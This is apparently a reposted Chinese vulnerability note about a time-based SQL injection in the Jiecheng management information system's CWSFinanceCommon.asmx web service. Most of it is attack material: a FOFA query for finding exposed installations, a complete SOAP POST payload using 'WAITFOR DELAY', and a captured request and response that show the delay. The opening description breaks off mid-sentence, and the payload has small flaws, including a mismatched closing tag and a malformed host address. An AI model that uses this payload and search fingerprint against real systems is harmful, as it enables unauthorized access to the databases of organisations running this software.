

J22-1捷诚-管理信息系统-SQL

漏洞描述:

捷诚管理信息系统CWSFinanceCommon.asmx接口存在[SQL注入漏洞] (https://so.csdn.net/so/search?q=SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&spm=1001.2101.3001.7020)。未经身份认证的攻击者可

影响版本:


- 捷诚-管理信息系统

网站图片:



欢迎使用本系统

初次登录本系统需要进行客户端环境安装,请手动安装运行环境

 点击下载

网络测绘:

fofa语法:

FOFA: body="Scripts/EnjoyMsg.js"

漏洞复现:

payload:

```
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <Id>1';WAITFOR DELAY '0:0:5'--</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
```

效果图:  
延时5秒

Request

< >

数据包扫描

热加载

构造请求

🔍

1 POST /EnjoyRMIS\_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1

2 Host: 192.168.1.8001

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7 Accept-Encoding: gzip, deflate

8 Content-Type: text/xml; charset=utf-8

9

10 <?xml version="1.0" encoding="utf-8"?>

11 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

12 <soap:Body>

13 <GetOSpById xmlns="http://tempuri.org/">

14 <Id>1';WAITFOR DELAY '0:0:5'--</sId>

15 </GetOSpById>

16 </soap:Body>

17 </soap:Envelope>

Responses 2409bytes / 5147ms

1 HTTP/1.1 200 OK

2 Cache-Control: private, max-age=0

3 Content-Type: text/xml; charset=utf-8

4 Vary: Accept-Encoding

5 Server: Microsoft-IIS/10.0

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Tue, 21 Nov 2023 09:54:57 GMT

9 Content-Length: 2409

10

11 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetOSpById xmlns="http://tempuri.org/"><Id>1';WAITFOR DELAY '0:0:5'--</sId></GetOSpById></soap:Body></soap:Envelope>